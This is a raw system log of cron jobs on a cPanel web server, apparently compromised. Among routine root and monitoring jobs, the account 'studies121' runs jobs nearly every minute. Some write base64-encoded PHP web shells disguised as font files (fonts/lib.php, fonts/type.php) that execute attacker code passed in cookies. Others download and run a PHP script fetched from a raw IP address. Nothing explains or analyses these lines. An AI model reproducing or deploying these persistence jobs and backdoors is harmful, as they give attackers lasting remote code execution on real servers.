Sep 11 19:14:01 ip-184-168-122-23 CROND[22678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:15:01 ip-184-168-122-23 CROND[22771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:15:01 ip-184-168-122-23 CROND[22773]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:15:01 ip-184-168-122-23 CROND[22775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:15:01 ip-184-168-122-23 CROND[22777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:15:01 ip-184-168-122-23 CROND[22774]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:15:01 ip-184-168-122-23 CROND[22776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:16:01 ip-184-168-122-23 CROND[22872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:16:01 ip-184-168-122-23 CROND[22873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:16:01 ip-184-168-122-23 CROND[22876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:16:02 ip-184-168-122-23 CROND[22880]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:16:02 ip-184-168-122-23 CROND[22881]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:16:02 ip-184-168-122-23 CROND[22882]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 19:17:01 ip-184-168-122-23 CROND[22978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:17:01 ip-184-168-122-23 CROND[22980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:17:01 ip-184-168-122-23 CROND[22979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:17:01 ip-184-168-122-23 CROND[22981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:18:01 ip-184-168-122-23 CROND[23072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:18:01 ip-184-168-122-23 CROND[23075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:18:01 ip-184-168-122-23 CROND[23076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:18:01 ip-184-168-122-23 CROND[23074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:18:01 ip-184-168-122-23 CROND[23073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:19:01 ip-184-168-122-23 CROND[23252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:19:01 ip-184-168-122-23 CROND[23254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:19:01 ip-184-168-122-23 CROND[23253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:19:01 ip-184-168-122-23 CROND[23255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:20:01 ip-184-168-122-23 CROND[23359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:20:01 ip-184-168-122-23 CROND[23361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:20:01 ip-184-168-122-23 CROND[23362]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:20:01 ip-184-168-122-23 CROND[23367]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:20:01 ip-184-168-122-23 CROND[23366]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 19:20:01 ip-184-168-122-23 CROND[23368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:20:01 ip-184-168-122-23 CROND[23363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:20:01 ip-184-168-122-23 CROND[23365]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 19:20:01 ip-184-168-122-23 CROND[23364]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:21:01 ip-184-168-122-23 CROND[23474]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:21:01 ip-184-168-122-23 CROND[23476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:21:01 ip-184-168-122-23 CROND[23478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:21:01 ip-184-168-122-23 CROND[23477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:22:01 ip-184-168-122-23 CROND[23564]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:22:01 ip-184-168-122-23 CROND[23567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:22:01 ip-184-168-122-23 CROND[23566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:22:01 ip-184-168-122-23 CROND[23569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:22:01 ip-184-168-122-23 CROND[23568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:23:01 ip-184-168-122-23 CROND[23654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:23:01 ip-184-168-122-23 CROND[23656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:23:01 ip-184-168-122-23 CROND[23657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:23:01 ip-184-168-122-23 CROND[23658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:24:01 ip-184-168-122-23 CROND[23829]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 19:24:01 ip-184-168-122-23 CROND[23831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:24:01 ip-184-168-122-23 CROND[23833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:24:01 ip-184-168-122-23 CROND[23832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:24:01 ip-184-168-122-23 CROND[23835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:25:01 ip-184-168-122-23 CROND[23938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:25:01 ip-184-168-122-23 CROND[23941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:25:01 ip-184-168-122-23 CROND[23944]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:25:01 ip-184-168-122-23 CROND[23945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 19:25:01 ip-184-168-122-23 CROND[23946]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:25:01 ip-184-168-122-23 CROND[23940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:26:01 ip-184-168-122-23 CROND[24061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 19:26:01 ip-184-168-122-23 CROND[24063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:26:01 ip-184-168-122-23 CROND[24065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:26:01 ip-184-168-122-23 CROND[24066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
